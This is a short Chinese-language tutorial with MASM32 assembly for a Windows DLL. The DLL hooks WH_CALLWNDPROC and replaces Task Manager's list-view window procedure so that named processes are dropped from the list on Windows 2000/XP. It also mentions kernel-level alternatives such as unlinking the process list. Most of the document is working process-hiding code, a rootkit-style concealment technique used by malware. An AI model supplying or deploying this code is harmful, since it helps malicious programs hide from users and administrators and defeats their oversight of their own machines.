一个简单的windows HOOK - 隐藏进程管理器中特定的进程
(适用平台:windows 2000 sp4,windows XP sp2)
屏蔽任务管理器中的进程名称有很多种方法，可以在ring0级做文章:
修改内核进程链表，拦截内核API等。我这里只给出win32下的实现，原
理是最普通的 windows 钩子机制。实现语言 win32 汇编 (masm32):
0 在DllEntry中处理资源取得和产生"工作"线程:
mov eax,_hinstance
mov hinstance,eax
.if _dwreason == DLL_PROCESS_ATTACH
.if cutme == 0
mov cutme,1
.else
invoke CreateThread,NULL,0,addr CTProcEx,0,0,/
addr tid
.endif
.elseif _dwreason == DLL_PROCESS_DETACH
.if oldLVProc == 0
jmp quit
.endif
invoke SetWindowLong,hlv,GWL_WNDPROC,/
oldLVProc
.endif
1 钩住WH_CALLWNDPROC后，改变list控件默认消息处理过
程，从而监视任何list插入消息:
;*********************************************************************
NewLVProc proc uses esi edi ebx hwnd,umsg,wparam,lparam
local retbyte:dword
mov eax,umsg
.if eax == LVM_INSERTITEMW
assume esi:ptr LV_ITEM
mov esi,lparam
mov ebx,[esi].pszText
invoke WideCharToMultiByte,CP_ACP,0,/
ebx,-1,addr buf,/
sizeof buf,NULL,NULL
assume esi:nothing
invoke lstrcmp,addr buf,addr stxt
.if eax == 0
.else
invoke CallWindowProc,oldLVProc,/
hwnd,umsg,wparam,lparam
ret
.endif
.elseif eax == LVM_SETITEMW
assume esi:ptr LV_ITEM
mov esi,lparam
mov ebx,[esi].pszText
invoke WideCharToMultiByte,CP_ACP,0,/
ebx,-1,addr buf,/
sizeof buf,NULL,NULL
assume esi:nothing
invoke lstrcmp,addr buf,addr stxt
.if eax == 0
.else
invoke CallWindowProc,oldLVProc,/
hwnd,umsg,wparam,lparam
ret
.endif
.else
invoke CallWindowProc,oldLVProc,hwnd,umsg,/
wparam,lparam
ret
.endif
xor eax,eax
ret
NewLVProc endp
;*********************************************************************
CTProcEx proc uses esi edi ebx _pm
local ii:dword
local lvfi:LV_FINDINFO
mov lvfi.flags,LVFI_STRING
lea eax,stxt
mov lvfi.psz,eax
invoke SendMessage,hlv,LVM_FINDITEM,-1,addr lvfi
.if eax != 0ffffffffh
mov ii,eax
invoke SendMessage,hlv,LVM_DELETEITEM,ii,0
.endif
mov lvfi.flags,LVFI_STRING
lea eax,stxt2
mov lvfi.psz,eax
invoke SendMessage,hlv,LVM_FINDITEM,-1,addr lvfi
.if eax != 0ffffffffh
mov ii,eax
invoke SendMessage,hlv,LVM_DELETEITEM,ii,0
.endif
invoke SetWindowLong,hlv,GWL_WNDPROC,addr NewLVProc
mov oldLVProc,eax
quit:
ret
CTProcEx endp
;*********************************************************************
(注意:在windows xp sp2 可执行文件保护打开时，退出时可能会有异常)